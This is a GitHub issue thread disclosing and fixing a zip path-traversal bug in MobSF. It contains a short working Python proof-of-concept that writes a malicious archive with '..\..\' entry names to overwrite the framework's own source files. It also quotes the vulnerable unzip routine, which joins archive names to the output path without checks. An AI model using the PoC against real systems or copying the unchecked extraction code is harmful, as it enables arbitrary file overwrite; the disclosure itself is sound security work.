New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upload a malicious zip file can overwrite arbitary files >=v0.9.3.2 && <=0.9.4.1 #358

Closed
ic3z opened this Issue Feb 28, 2017 · 11 comments

Comments

Projects
None yet
4 participants
@ic3z
Copy link

ic3z commented Feb 28, 2017

Generate malicious zip files

generate_zipfile.py

import zipfile
z_info = zipfile.ZipInfo(r"..\..\StaticAnalyzer\__init__.py")
z_file = zipfile.ZipFile("evil.apk", mode="w")
z_file.writestr(z_info, "print 111111")
z_file.close()

Upload evil.apk file

When the evil.apk is unpacked, the file StaticAnalyzer\__init__.py will be overwritten

image

@ic3z ic3z changed the title Upload a malicious zip file to overwrite other files Upload a malicious zip file can overwrite other files Feb 28, 2017

@ajinabraham ajinabraham self-assigned this Feb 28, 2017

@ajinabraham

This comment has been minimized.

Copy link
Member

ajinabraham commented Feb 28, 2017

Done an initial analysis. It looks like an issue with Python zipfile lib used by MobSF.

My environment

Python 2.7.10 
Mobile Security Framework v0.9.4 Beta
OS: OSX / Darwin
Platform: Darwin-16.4.0-x86_64-i386-64bit

I was not able to replicate this. The __init__.py was not overwritten.

This is how MobSF do unzip:

def Unzip(APP_PATH, EXT_PATH):
print "[INFO] Unzipping"
try:
files = []
with zipfile.ZipFile(APP_PATH, "r") as z:
for fileinfo in z.infolist():
dat = z.open(fileinfo.filename, "r")
filename = fileinfo.filename
if not isinstance(filename, unicode):
filename = unicode(fileinfo.filename,
encoding="utf-8", errors="replace")
files.append(filename)
outfile = os.path.join(EXT_PATH, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc: # Guard against race condition
if exc.errno != errno.EEXIST:
print "\n[WARN] OS Error: Race Condition"
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
dat.close()
return files
except:
PrintException("[ERROR] Unzipping Error")
if platform.system() == "Windows":
print "\n[INFO] Not yet Implemented."
else:
print "\n[INFO] Using the Default OS Unzip Utility."
try:
subprocess.call(
['unzip', '-o', '-q', APP_PATH, '-d', EXT_PATH])
dat = subprocess.check_output(['unzip', '-qq', '-l', APP_PATH])
dat = dat.split('\n')
x = ['Length Date Time Name']
x = x + dat
return x
except:
PrintException("[ERROR] Unzipping Error")

@DominikSchlecht, Can you see if this issue can be reproduced on a Windows Box.(My Windows VMs are bit messed up). I couldn't reproduce this on OSX using Python 2.7.10

@ic3z: What is your Python version?

We should also investigate if the native os unzip binary have this issue:

['unzip', '-o', '-q', APP_PATH, '-d', EXT_PATH])

@DominikSchlecht

This comment has been minimized.

Copy link
Member

DominikSchlecht commented Feb 28, 2017

Will have a look into this in some hours.

Greetings,
Dominik

@DominikSchlecht

This comment has been minimized.

Copy link
Member

DominikSchlecht commented Feb 28, 2017

I can verify this on windows. Will start searching for a fix (maybe other zip-lib?).

Greetings,
Dominik

@DominikSchlecht

This comment has been minimized.

Copy link
Member

DominikSchlecht commented Feb 28, 2017

Pushed a fix (996bc85) for windows. Using the extract-method, all "illegal characters" will be removed (doc).

In Mac all tests pass, on windows there is a problem with the tests itself ;) But manual tests showed good results for both windows and android apps.

@ic3z, @ajinabraham Please check, verify and merge if the solution is ok.

Greetings,
Dominik

@ic3z

This comment has been minimized.

Copy link

ic3z commented Mar 1, 2017

Good manual testing on windows.
@DominikSchlecht

native os unzip binary not have this issue. But the file permissions after decompression is 000.

chang create_zip function
z_info.external_attr = 0777 << 16L

5pbds ypx r7l8s87g81p
zj5a hpypptg jwmq t9i w

thank for testing on mac @AlkenePan

@AlkenePan

This comment has been minimized.

Copy link

AlkenePan commented Mar 1, 2017

cool

@ajinabraham

This comment has been minimized.

Copy link
Member

ajinabraham commented Mar 1, 2017

@ic3z @AlkenePan
I couldn't reproduce the issue on Mac. Refer: https://asciinema.org/a/5wqxztxmy0soh18osj5qwo6bx
But it should be fixed in latest master (v0.9.4.2Beta) by @DominikSchlecht

@ajinabraham ajinabraham reopened this Mar 1, 2017

@ajinabraham ajinabraham closed this Mar 1, 2017

@ajinabraham

This comment has been minimized.

Copy link
Member

ajinabraham commented Mar 1, 2017

@ic3z @AlkenePan Can you guys check if this is fixed in latest master

@ic3z

This comment has been minimized.

Copy link

ic3z commented Mar 1, 2017

@ajinabraham
On the unix platform, you should turn the backslash into a forward slash

@ajinabraham

This comment has been minimized.

Copy link
Member

ajinabraham commented Mar 1, 2017

Ah sorry my bad. I tried with forward slash and looks like it's fixed in latest master.

@ajinabraham ajinabraham changed the title Upload a malicious zip file can overwrite other files Upload a malicious zip file can overwrite arbitary files >=v0.9.3.2 && <=0.9.4.1 Mar 1, 2017

@AlkenePan

This comment has been minimized.

Copy link

AlkenePan commented Sep 30, 2017

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment